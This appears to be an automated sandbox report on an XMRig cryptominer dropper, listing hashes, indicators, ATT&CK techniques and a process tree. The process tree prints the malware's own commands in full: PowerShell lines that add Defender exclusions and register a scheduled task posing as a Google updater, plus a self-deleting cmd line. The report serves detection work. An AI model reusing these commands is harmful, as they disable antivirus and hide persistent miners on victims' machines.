xmrig | 67fb42345c7c1d330bea4fe6e0d8695cc715af98dec4fbac9cac330831052642

max time kernel
1840s
max time network
1863s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
24-12-2023 12:01

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

qM5GMXBk6hJE6Y5e (26).exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 4572 created 3348	4572	qM5GMXBk6hJE6Y5e (26).exe	77
PID 4572 created 3348	4572	qM5GMXBk6hJE6Y5e (26).exe	77
PID 4572 created 3348	4572	qM5GMXBk6hJE6Y5e (26).exe	77
PID 4572 created 3348	4572	qM5GMXBk6hJE6Y5e (26).exe	77
PID 2588 created 3348	2588	updater.exe	77
PID 2588 created 3348	2588	updater.exe	77
PID 2588 created 3348	2588	updater.exe	77
PID 3852 created 3348	3852	conhost.exe	77
PID 2588 created 3348	2588	updater.exe	77
PID 2588 created 3348	2588	updater.exe	77

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 20 IoCs

miner

resource	yara_rule
behavioral24/memory/3708-149-0x00007FF670040000-0x00007FF670834000-memory.dmp	xmrig
behavioral24/memory/3708-153-0x00007FF670040000-0x00007FF670834000-memory.dmp	xmrig
behavioral24/memory/3708-154-0x00007FF670040000-0x00007FF670834000-memory.dmp	xmrig
behavioral24/memory/3708-156-0x00007FF670040000-0x00007FF670834000-memory.dmp	xmrig
behavioral24/memory/3708-159-0x00007FF670040000-0x00007FF670834000-memory.dmp	xmrig
behavioral24/memory/3708-162-0x00007FF670040000-0x00007FF670834000-memory.dmp	xmrig
behavioral24/memory/3708-164-0x00007FF670040000-0x00007FF670834000-memory.dmp	xmrig
behavioral24/memory/3708-166-0x00007FF670040000-0x00007FF670834000-memory.dmp	xmrig
behavioral24/memory/3708-168-0x00007FF670040000-0x00007FF670834000-memory.dmp	xmrig
behavioral24/memory/3708-170-0x00007FF670040000-0x00007FF670834000-memory.dmp	xmrig
behavioral24/memory/3708-172-0x00007FF670040000-0x00007FF670834000-memory.dmp	xmrig
behavioral24/memory/3708-174-0x00007FF670040000-0x00007FF670834000-memory.dmp	xmrig
behavioral24/memory/3708-176-0x00007FF670040000-0x00007FF670834000-memory.dmp	xmrig
behavioral24/memory/3708-178-0x00007FF670040000-0x00007FF670834000-memory.dmp	xmrig
behavioral24/memory/3708-180-0x00007FF670040000-0x00007FF670834000-memory.dmp	xmrig
behavioral24/memory/3708-182-0x00007FF670040000-0x00007FF670834000-memory.dmp	xmrig
behavioral24/memory/3708-184-0x00007FF670040000-0x00007FF670834000-memory.dmp	xmrig
behavioral24/memory/3708-186-0x00007FF670040000-0x00007FF670834000-memory.dmp	xmrig
behavioral24/memory/3708-188-0x00007FF670040000-0x00007FF670834000-memory.dmp	xmrig
behavioral24/memory/3708-190-0x00007FF670040000-0x00007FF670834000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
2588	updater.exe

UPX packed file 21 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral24/memory/3708-136-0x00007FF670040000-0x00007FF670834000-memory.dmp	upx
behavioral24/memory/3708-149-0x00007FF670040000-0x00007FF670834000-memory.dmp	upx
behavioral24/memory/3708-153-0x00007FF670040000-0x00007FF670834000-memory.dmp	upx
behavioral24/memory/3708-154-0x00007FF670040000-0x00007FF670834000-memory.dmp	upx
behavioral24/memory/3708-156-0x00007FF670040000-0x00007FF670834000-memory.dmp	upx
behavioral24/memory/3708-159-0x00007FF670040000-0x00007FF670834000-memory.dmp	upx
behavioral24/memory/3708-162-0x00007FF670040000-0x00007FF670834000-memory.dmp	upx
behavioral24/memory/3708-164-0x00007FF670040000-0x00007FF670834000-memory.dmp	upx
behavioral24/memory/3708-166-0x00007FF670040000-0x00007FF670834000-memory.dmp	upx
behavioral24/memory/3708-168-0x00007FF670040000-0x00007FF670834000-memory.dmp	upx
behavioral24/memory/3708-170-0x00007FF670040000-0x00007FF670834000-memory.dmp	upx
behavioral24/memory/3708-172-0x00007FF670040000-0x00007FF670834000-memory.dmp	upx
behavioral24/memory/3708-174-0x00007FF670040000-0x00007FF670834000-memory.dmp	upx
behavioral24/memory/3708-176-0x00007FF670040000-0x00007FF670834000-memory.dmp	upx
behavioral24/memory/3708-178-0x00007FF670040000-0x00007FF670834000-memory.dmp	upx
behavioral24/memory/3708-180-0x00007FF670040000-0x00007FF670834000-memory.dmp	upx
behavioral24/memory/3708-182-0x00007FF670040000-0x00007FF670834000-memory.dmp	upx
behavioral24/memory/3708-184-0x00007FF670040000-0x00007FF670834000-memory.dmp	upx
behavioral24/memory/3708-186-0x00007FF670040000-0x00007FF670834000-memory.dmp	upx
behavioral24/memory/3708-188-0x00007FF670040000-0x00007FF670834000-memory.dmp	upx
behavioral24/memory/3708-190-0x00007FF670040000-0x00007FF670834000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2588 set thread context of 3852	2588	updater.exe	120
PID 2588 set thread context of 3708	2588	updater.exe	127

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	qM5GMXBk6hJE6Y5e (26).exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3688	WMIC.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe

Suspicious behavior: EnumeratesProcesses 32 IoCs

pid	Process
4572	qM5GMXBk6hJE6Y5e (26).exe
4572	qM5GMXBk6hJE6Y5e (26).exe
628	powershell.exe
628	powershell.exe
4572	qM5GMXBk6hJE6Y5e (26).exe
4572	qM5GMXBk6hJE6Y5e (26).exe
1988	powershell.exe
1988	powershell.exe
4572	qM5GMXBk6hJE6Y5e (26).exe
4572	qM5GMXBk6hJE6Y5e (26).exe
4572	qM5GMXBk6hJE6Y5e (26).exe
4572	qM5GMXBk6hJE6Y5e (26).exe
2956	powershell.exe
2956	powershell.exe
2588	updater.exe
2588	updater.exe
5008	powershell.exe
5008	powershell.exe
5008	powershell.exe
2588	updater.exe
2588	updater.exe
2028	powershell.exe
2028	powershell.exe
2028	powershell.exe
2588	updater.exe
2588	updater.exe
3852	conhost.exe
3852	conhost.exe
2588	updater.exe
2588	updater.exe
2588	updater.exe
2588	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
672	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	628	powershell.exe
Token: SeDebugPrivilege	1988	powershell.exe
Token: SeIncreaseQuotaPrivilege	1988	powershell.exe
Token: SeSecurityPrivilege	1988	powershell.exe
Token: SeTakeOwnershipPrivilege	1988	powershell.exe
Token: SeLoadDriverPrivilege	1988	powershell.exe
Token: SeSystemProfilePrivilege	1988	powershell.exe
Token: SeSystemtimePrivilege	1988	powershell.exe
Token: SeProfSingleProcessPrivilege	1988	powershell.exe
Token: SeIncBasePriorityPrivilege	1988	powershell.exe
Token: SeCreatePagefilePrivilege	1988	powershell.exe
Token: SeBackupPrivilege	1988	powershell.exe
Token: SeRestorePrivilege	1988	powershell.exe
Token: SeShutdownPrivilege	1988	powershell.exe
Token: SeDebugPrivilege	1988	powershell.exe
Token: SeSystemEnvironmentPrivilege	1988	powershell.exe
Token: SeRemoteShutdownPrivilege	1988	powershell.exe
Token: SeUndockPrivilege	1988	powershell.exe
Token: SeManageVolumePrivilege	1988	powershell.exe
Token: 33	1988	powershell.exe
Token: 34	1988	powershell.exe
Token: 35	1988	powershell.exe
Token: 36	1988	powershell.exe
Token: SeIncreaseQuotaPrivilege	1988	powershell.exe
Token: SeSecurityPrivilege	1988	powershell.exe
Token: SeTakeOwnershipPrivilege	1988	powershell.exe
Token: SeLoadDriverPrivilege	1988	powershell.exe
Token: SeSystemProfilePrivilege	1988	powershell.exe
Token: SeSystemtimePrivilege	1988	powershell.exe
Token: SeProfSingleProcessPrivilege	1988	powershell.exe
Token: SeIncBasePriorityPrivilege	1988	powershell.exe
Token: SeCreatePagefilePrivilege	1988	powershell.exe
Token: SeBackupPrivilege	1988	powershell.exe
Token: SeRestorePrivilege	1988	powershell.exe
Token: SeShutdownPrivilege	1988	powershell.exe
Token: SeDebugPrivilege	1988	powershell.exe
Token: SeSystemEnvironmentPrivilege	1988	powershell.exe
Token: SeRemoteShutdownPrivilege	1988	powershell.exe
Token: SeUndockPrivilege	1988	powershell.exe
Token: SeManageVolumePrivilege	1988	powershell.exe
Token: 33	1988	powershell.exe
Token: 34	1988	powershell.exe
Token: 35	1988	powershell.exe
Token: 36	1988	powershell.exe
Token: SeIncreaseQuotaPrivilege	1988	powershell.exe
Token: SeSecurityPrivilege	1988	powershell.exe
Token: SeTakeOwnershipPrivilege	1988	powershell.exe
Token: SeLoadDriverPrivilege	1988	powershell.exe
Token: SeSystemProfilePrivilege	1988	powershell.exe
Token: SeSystemtimePrivilege	1988	powershell.exe
Token: SeProfSingleProcessPrivilege	1988	powershell.exe
Token: SeIncBasePriorityPrivilege	1988	powershell.exe
Token: SeCreatePagefilePrivilege	1988	powershell.exe
Token: SeBackupPrivilege	1988	powershell.exe
Token: SeRestorePrivilege	1988	powershell.exe
Token: SeShutdownPrivilege	1988	powershell.exe
Token: SeDebugPrivilege	1988	powershell.exe
Token: SeSystemEnvironmentPrivilege	1988	powershell.exe
Token: SeRemoteShutdownPrivilege	1988	powershell.exe
Token: SeUndockPrivilege	1988	powershell.exe
Token: SeManageVolumePrivilege	1988	powershell.exe
Token: 33	1988	powershell.exe
Token: 34	1988	powershell.exe
Token: 35	1988	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3608 wrote to memory of 1888	3608	cmd.exe	106
PID 3608 wrote to memory of 1888	3608	cmd.exe	106
PID 2956 wrote to memory of 1948	2956	powershell.exe	107
PID 2956 wrote to memory of 1948	2956	powershell.exe	107
PID 2588 wrote to memory of 3852	2588	updater.exe	120
PID 2140 wrote to memory of 3688	2140	cmd.exe	123
PID 2140 wrote to memory of 3688	2140	cmd.exe	123
PID 2588 wrote to memory of 3708	2588	updater.exe	127

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3348
- C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (26).exe
  "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (26).exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:4572
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1988
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (26).exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3608
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:1888
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2956
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:1948
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:5008
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:2028
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:3852
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:2140
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    PID:3688
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:2640
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  PID:3708

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2588

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
593KB

MD5
c7c3247c2fad8e4a636798758598c83c

SHA1
efe15774b40d2d65dc29c83ff1121aeede3f794b

SHA256
7a8b5c3cd2b1621f8425e0a46ca6db844613b663213c80b585cca222266d96fd

SHA512
881a18665aa7ce92ca4ac8c2fa749499e3e845e099ce97fe4436046db5234f29901ceda15634a65febaafbf9b1e4accc789895fea36ce9a771977c8e8da34326

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
431KB

MD5
899da4ec6f0a4f6071011cbf518f5a8f

SHA1
3bad7e20a56fca4f9d7f15b6f73e926675882bfc

SHA256
127a4ed5b7aa462953c13bb9e78e6cd025ceff538f5eb501137ce979bbf7ca73

SHA512
c9c9e5ef729c377d4931a8cb623ffc9797bb512f13c6e27c221cf604fa01a25c50231a59b6bd3176c0e8546942c31145eca3c6ee6485458635c5e7f0ad879f93

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
226B

MD5
fdba80d4081c28c65e32fff246dc46cb

SHA1
74f809dedd1fc46a3a63ac9904c80f0b817b3686

SHA256
b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

SHA512
b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d42b6da621e8df5674e26b799c8e2aa

SHA1
ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

SHA256
5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

SHA512
53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
00606bb2f5e01846ffc8d790788171db

SHA1
df3e21a3c80fa3de6f97d579a609b4a2be26a18d

SHA256
6e9ec7c6f9ddde44efc72e597fca8e431ef2163ac35683575d0382021b6c8b9a

SHA512
a0b86a509391b3505398c485962a1780c0beea2189592900263c6903a64e6fb1e6940adc6bf28dad773d331e31d01bae4b0a08f62e4d8333c94895b7108c4bcf

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hlopbwri.q5d.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
